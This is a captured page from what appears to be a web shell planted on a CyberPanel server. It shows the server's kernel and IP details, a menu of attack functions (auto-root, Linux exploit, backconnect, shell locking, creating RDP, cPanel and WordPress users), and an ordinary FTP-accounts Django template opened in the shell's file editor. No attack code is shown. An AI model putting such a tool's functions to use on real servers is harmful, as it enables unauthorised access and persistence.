Linux cyberpanel 5.15.0-156-generic #166-Ubuntu SMP Sat Aug 9 00:02:46 UTC 2025 x86_64
LiteSpeed
: 160.191.175.3 | : 216.73.216.114
Cant Read [ /etc/named.conf ]
8.2.29
aodai6801
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
CyberCP /
ftp /
templates /
ftp /
[ HOME SHELL ]
Name
Size
Permission
Action
ResetFTPconf.html
11.49
KB
-rw-r--r--
createFTPAccount.html
20.12
KB
-rw-r--r--
deleteFTPAccount.html
14.62
KB
-rw-r--r--
index.html
2.73
KB
-rw-r--r--
listFTPAccounts.html
19.28
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : listFTPAccounts.html
{% extends "baseTemplate/index.html" %} {% load i18n %} {% block title %}{% trans "List FTP Accounts - CyberPanel" %}{% endblock %} {% block content %} {% load static %} {% get_current_language as LANGUAGE_CODE %} <!-- Current language: {{ LANGUAGE_CODE }} --> <style> .modern-container { max-width: 1400px; margin: 0 auto; padding: 2rem; } .page-header { text-align: center; margin-bottom: 3rem; animation: fadeInDown 0.5s ease-out; } .page-title { font-size: 2.5rem; font-weight: 700; color: var(--text-primary, #1e293b); margin-bottom: 0.5rem; display: flex; align-items: center; justify-content: center; gap: 1rem; flex-wrap: wrap; } .page-subtitle { font-size: 1.125rem; color: var(--text-secondary, #64748b); margin-bottom: 0; } .header-actions { display: flex; gap: 1rem; margin-top: 1.5rem; justify-content: center; flex-wrap: wrap; } .main-card { background: var(--bg-secondary, white); border-radius: 16px; box-shadow: 0 1px 3px var(--shadow-light, rgba(0,0,0,0.05)), 0 10px 40px var(--shadow-color, rgba(0,0,0,0.08)); border: 1px solid var(--border-color, #e8e9ff); overflow: hidden; animation: fadeInUp 0.5s ease-out; } .card-header { background: linear-gradient(135deg, var(--bg-hover, #f8f9ff) 0%, var(--bg-gradient, #f0f1ff) 100%); padding: 1.5rem 2rem; border-bottom: 1px solid var(--border-color, #e8e9ff); } .card-title { font-size: 1.25rem; font-weight: 600; color: var(--text-primary, #1e293b); margin: 0; display: flex; align-items: center; gap: 0.75rem; } .card-body { padding: 2rem; } .form-section { margin-bottom: 2rem; } .form-group { margin-bottom: 1.5rem; } .form-label { display: block; margin-bottom: 0.5rem; font-weight: 500; color: var(--text-primary, #1e293b); font-size: 0.875rem; } .form-control { width: 100%; padding: 0.75rem 1rem; border: 1px solid var(--border-color, #e8e9ff); border-radius: 8px; font-size: 0.875rem; transition: all 0.3s ease; background: var(--bg-secondary, #fff); } .form-control:focus { outline: none; border-color: var(--accent-color, #5b5fcf); box-shadow: 0 0 0 3px var(--accent-focus, rgba(91, 95, 207, 0.1)); } .btn-primary { background: var(--accent-color, #5b5fcf); color: var(--bg-secondary, white); border: none; padding: 0.75rem 2rem; border-radius: 8px; font-weight: 500; cursor: pointer; transition: all 0.3s ease; display: inline-flex; align-items: center; gap: 0.5rem; text-decoration: none; } .btn-primary:hover { background: var(--accent-hover, #4547a9); transform: translateY(-2px); box-shadow: 0 4px 12px var(--accent-shadow-hover, rgba(91, 95, 207, 0.4)); color: var(--bg-secondary, white); } .btn-secondary { background: var(--bg-secondary, #fff); color: var(--accent-color, #5b5fcf); border: 1px solid var(--border-color, #e8e9ff); padding: 0.75rem 1.5rem; border-radius: 8px; font-weight: 500; cursor: pointer; transition: all 0.3s ease; } .btn-secondary:hover { background: var(--bg-hover, #f8f9ff); border-color: var(--accent-color, #5b5fcf); } .btn-action { background: var(--bg-secondary, #fff); color: var(--accent-color, #5b5fcf); border: 1px solid var(--border-color, #e8e9ff); padding: 0.5rem 1rem; border-radius: 6px; font-weight: 500; cursor: pointer; transition: all 0.3s ease; text-decoration: none; font-size: 0.875rem; } .btn-action:hover { background: var(--accent-color, #5b5fcf); color: var(--bg-secondary, white); transform: translateY(-1px); } .alert { padding: 1rem 1.5rem; border-radius: 8px; margin-bottom: 1rem; display: flex; align-items: center; gap: 0.75rem; animation: slideInRight 0.3s ease-out; } .alert-success { background: var(--success-bg, #d1fae5); color: var(--success-text, #065f46); border: 1px solid var(--success-border, #a7f3d0); } .alert-danger { background: var(--danger-bg, #fee2e2); color: var(--danger-text, #991b1b); border: 1px solid var(--danger-border, #fecaca); } .alert-info { background: var(--info-bg, #dbeafe); color: var(--info-text, #1e40af); border: 1px solid var(--info-border, #bfdbfe); } .disabled-notice { background: var(--warning-bg, #fef3c7); border: 1px solid var(--warning-border, #fde68a); border-radius: 12px; padding: 2rem; text-align: center; margin-bottom: 2rem; } .disabled-notice h3 { color: var(--warning-text, #92400e); margin-bottom: 1rem; } .loading-spinner { width: 20px; height: 20px; border: 2px solid var(--border-color, #e8e9ff); border-top-color: var(--accent-color, #5b5fcf); border-radius: 50%; animation: spin 1s linear infinite; display: inline-block; } .ftp-table { width: 100%; background: var(--bg-secondary, white); border-radius: 8px; overflow: hidden; border: 1px solid var(--border-color, #e8e9ff); margin-top: 1.5rem; } .ftp-table thead { background: var(--bg-hover, #f8f9ff); } .ftp-table th { padding: 1rem; text-align: left; font-weight: 600; color: var(--text-primary, #1e293b); font-size: 0.875rem; text-transform: uppercase; letter-spacing: 0.05em; border-bottom: 1px solid var(--border-color, #e8e9ff); } .ftp-table td { padding: 1rem; color: var(--text-secondary, #64748b); font-size: 0.875rem; border-bottom: 1px solid var(--border-light, #f3f4f6); } .ftp-table tbody tr:hover { background: var(--bg-hover, #f8f9ff); } .ftp-table tbody tr:last-child td { border-bottom: none; } .password-section { background: var(--bg-hover, #f8f9ff); border: 1px solid var(--border-color, #e8e9ff); border-radius: 12px; padding: 2rem; margin-top: 1.5rem; margin-bottom: 1.5rem; } .password-section h3 { color: var(--text-primary, #1e293b); font-size: 1.125rem; font-weight: 600; margin-bottom: 1.5rem; display: flex; align-items: center; gap: 0.5rem; } .input-group { display: flex; gap: 0.5rem; align-items: center; margin-bottom: 1rem; } .directory-badge { background: var(--accent-bg, #e0e7ff); color: var(--accent-color, #5b5fcf); padding: 0.25rem 0.75rem; border-radius: 4px; font-size: 0.75rem; font-weight: 500; display: inline-flex; align-items: center; gap: 0.25rem; } .quota-badge { background: var(--border-light, #f3f4f6); color: var(--text-primary, #1e293b); padding: 0.25rem 0.75rem; border-radius: 4px; font-size: 0.875rem; font-weight: 500; } @keyframes spin { to { transform: rotate(360deg); } } @keyframes fadeIn { from { opacity: 0; } to { opacity: 1; } } @keyframes fadeInUp { from { opacity: 0; transform: translateY(20px); } to { opacity: 1; transform: translateY(0); } } @keyframes fadeInDown { from { opacity: 0; transform: translateY(-20px); } to { opacity: 1; transform: translateY(0); } } @keyframes slideInRight { from { opacity: 0; transform: translateX(20px); } to { opacity: 1; transform: translateX(0); } } </style> <div class="modern-container" ng-controller="listFTPAccounts"> <div class="page-header"> <h1 class="page-title"> <i class="fas fa-list"></i> {% trans "List FTP Accounts" %} </h1> <p class="page-subtitle">{% trans "View and manage FTP accounts, change passwords, and monitor usage" %}</p> <div class="header-actions"> <a href="{% url 'createFTPAccount' %}" class="btn-primary"> <i class="fas fa-plus-circle"></i> {% trans "Create FTP Account" %} </a> </div> </div> <div class="main-card"> <div class="card-header"> <h2 class="card-title"> <i class="fas fa-folder-open"></i> {% trans "FTP Account Management" %} <span ng-show="ftpLoading" class="loading-spinner"></span> </h2> </div> <div class="card-body"> {% if not status %} <div class="disabled-notice"> <i class="fas fa-exclamation-triangle fa-3x mb-3" style="color: var(--warning-color, #ffa000);"></i> <h3>{% trans "PureFTPD is disabled" %}</h3> <p class="mb-3">{% trans "You need to enable PureFTPD to manage FTP accounts" %}</p> <a href="{% url 'managePureFtpd' %}" class="btn-primary"> <i class="fas fa-power-off"></i> {% trans "Enable PureFTPD Now" %} </a> </div> {% else %} <form action="/" method="post"> <div class="form-section"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <label class="form-label">{% trans "Select Domain" %}</label> <select ng-change="fetchFTPAccounts()" ng-model="selectedDomain" class="form-control"> <option value="">{% trans "Choose a domain..." %}</option> {% for items in websiteList %} <option value="{{ items }}">{{ items }}</option> {% endfor %} </select> </div> </div> </div> </div> <!-- Change Password Section --> <div ng-hide="changePasswordBox" class="password-section"> <h3><i class="fas fa-key"></i> {% trans "Change Password for" %} {$ ftpUsername $}</h3> <div class="row"> <div class="col-md-8"> <div class="form-group"> <label class="form-label">{% trans "New Password" %}</label> <div class="input-group"> <input type="password" class="form-control" ng-model="ftpPassword" placeholder="{% trans 'Enter new password' %}" required> <button type="button" ng-click="generatePassword()" class="btn-secondary"> <i class="fas fa-dice"></i> {% trans "Generate" %} </button> </div> </div> <div ng-hide="generatedPasswordView" class="form-group"> <label class="form-label">{% trans "Generated Password" %}</label> <div class="input-group"> <input type="text" class="form-control" ng-model="ftpPassword" readonly> <button type="button" ng-click="usePassword()" class="btn-secondary"> <i class="fas fa-check"></i> {% trans "Use This Password" %} </button> </div> <small style="color: var(--text-secondary, #64748b); margin-top: 0.5rem; display: block; font-size: 0.875rem;"> <i class="fas fa-info-circle"></i> {% trans "Make sure to save this password in a secure location" %} </small> </div> <div style="margin-top: 1.5rem;"> <button type="button" ng-click="changePasswordBtn()" class="btn-primary"> <i class="fas fa-save"></i> {% trans "Change Password" %} </button> </div> </div> </div> </div> <!-- FTP Accounts Table --> <div ng-hide="ftpAccounts"> <table class="ftp-table"> <thead> <tr> <th style="width: 8%;">{% trans "ID" %}</th> <th style="width: 25%;">{% trans "User Name" %}</th> <th style="width: 35%;">{% trans "Directory" %}</th> <th style="width: 15%;">{% trans "Quota" %}</th> <th style="width: 17%; text-align: center;">{% trans "Actions" %}</th> </tr> </thead> <tbody> <tr ng-repeat="record in records track by $index"> <td><strong ng-bind="record.id"></strong></td> <td> <i class="fas fa-user-circle" style="color: var(--accent-color, #5b5fcf); margin-right: 0.5rem;"></i> <span ng-bind="record.user"></span> </td> <td> <span class="directory-badge"> <i class="fas fa-folder"></i> <span ng-bind="record.dir"></span> </span> </td> <td> <span class="quota-badge" ng-bind="record.quotasize"></span> </td> <td style="text-align: center;"> <button type="button" ng-click="changePassword(record.user)" class="btn-action"> <i class="fas fa-key"></i> {% trans "Change Password" %} </button> </td> </tr> </tbody> </table> </div> <!-- Alert Messages --> <div ng-hide="notificationsBox" class="form-section"> <div ng-hide="recordsFetched" class="alert alert-success"> <i class="fas fa-check-circle"></i> {% trans "Records successfully fetched for" %} <strong>{$ domainFeteched $}</strong> </div> <div ng-hide="passwordChanged" class="alert alert-success"> <i class="fas fa-check-circle"></i> {% trans "Password changed for" %} <strong>{$ ftpUsername $}</strong> </div> <div ng-hide="canNotChangePassword" class="alert alert-danger"> <i class="fas fa-exclamation-circle"></i> {% trans "Cannot change password for" %} <strong>{$ ftpUsername $}</strong>. {% trans "Error message:" %} {$ errorMessage $} </div> <div ng-hide="couldNotConnect" class="alert alert-danger"> <i class="fas fa-times-circle"></i> {% trans "Could not connect to server. Please refresh this page." %} </div> </div> </form> {% endif %} </div> </div> </div> {% endblock %}
Close